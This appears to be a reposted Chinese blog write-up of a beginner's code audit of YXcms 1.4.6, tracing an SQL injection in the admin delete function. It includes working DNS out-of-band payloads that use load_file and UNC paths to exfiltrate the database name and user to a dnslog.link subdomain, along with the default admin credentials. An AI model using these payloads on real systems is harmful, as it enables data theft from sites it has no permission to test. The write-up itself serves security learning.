前提
初学者,都是看了网上的方法自己试着分析的,有些地方也不是很清楚,请大家多多指教。
代码审计
0x00
安装YXcms1.4.6(当时没找到1.4.6,所以用了1.4.5代替,但其实代码都是一样的,路径也没变化,可放心使用),具体代码,在资源,可免费下载。
使用工具,phpstorm。尝试过用seay审计工具试试能不能检测到,然后发现不能,就放弃了,直接用PHPstorm直接看吧。
全局查找快捷键:ctrl+shift+F
0x01
文件里面有提示,后台的账号密码为admin/123456
直奔主题(可能经验多了,大概就知道哪些地方有漏洞了,可惜我是小白,只能先照着做积累经验)
漏洞的位置大概是这样的
这里存在sql注入
0x02
审计代码,用的方法是函数回溯,这个我会!
0x01
首先是看到这个WWW\protected\apps\admin\controller\commonController.php
文件
这里是用implode函数对$_POST[‘delid’]数组直接转换为字符的结果直接传入delete方法,那,去看看delete呗
0x02
ctrl+shift+F查找全局function delete
稍微学过一点点代码审计,所以看懂了下边的其他代码
唯一在意的地方,就是这个,所以就继续回溯,发现其实在同一个文件内,
0x03
因爲還不知道這個函數的作用和具體參數什麽的,所以继续回溯
随便一个点进去看看
php代码里面好像没有这个,应该是个自定義函数,依然回溯
0x04
然后就看到了一个熟悉的函数
看我发现了什么,
mysql_real_escape_string函数欸
总结:一路回溯下来,完全没有看到其他的防护方案,只有这里有个mysql_real_escape_string函数,猜测这里存在sql注入
从这里,结合分析出来,它存在于碎片列表的删除,不过,其实其他地方也是这样存在的,因为程序员在写的时候,,,,,,嗯,从这里下手咯那就
https://www.w3school.com.cn/php/func_mysql_real_escape_string.asp
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- ’
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false
0x03
進入後臺后,直接用burp,在提交刪除申請的時候進行截斷,寫入payload即可。(操作之前,要使用dnslog.link進行記錄)
payload:
select load_file((concat('\\\\',(select hex(user())),'.test.dnslog.link\\321')))
select LOAD_FILE((CONCAT('\\\\',(SELECT DATABASE()),'.test.dnslog.link\\321')))
抓包
接下來burp抓包,進行sql注入
發包,如果長時間才反應出以下界面,則證明成功
ok,接著,將burp的截斷放回,查看dnslog
這就是它的數據庫名了。
0x04
關於dnslog.link結合sql注入的原理
這裏介紹的是dnslog.link,通常会给你一个三级域名,只需把信息写在第四级域名上就好了,然後在訪問網之后就会有查询记录
dnslog注入也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
原因
一般在无法通过联合查询直接获取数据的時候,只能通过盲注来一步步的获取数据,但使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据。在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,也许你也可以使用代理池。。。
首先说明,dns带外查询属于MySQL注入,在MySQL中有个系统属性
secure_file_priv特性,有三种状态
secure_file_priv为null 表示不允许导入导出
secure_file_priv指定文件夹时,表示mysql的导入导出只能发生在指定的文件夹
secure_file_priv没有设置时,则表示没有任何限制
函数
LOAD_FILE()函数读取一个文件并将其内容作为字符串返回
语法为:load_file(file_name),其中file_name是文件的完整路径
此函数使用需要满足的条件
文件必须位于服务器主机上,你必须具有该FILE权限才能读取该文件。拥有该FILE权限的用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关,文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
注意
load_file()函数访问的是文件,所以域名后面需要添加/abc(其他的也可以,比如/321)
用户可以读取服务器主机上的任何文件,该文件是world-readable的或MySQL服务器可读的,此属性与secure_file_priv状态相关
文件必须是所有人都可读的,并且它的大小小于max_allowed_packet字节
注意
load_file()函数访问的是文件,所以域名后面需要添加/abc(其他的也可以,比如/321)
其他查询步骤不在一一列出
转载:https://blog.csdn.net/qq_43717836/article/details/105402350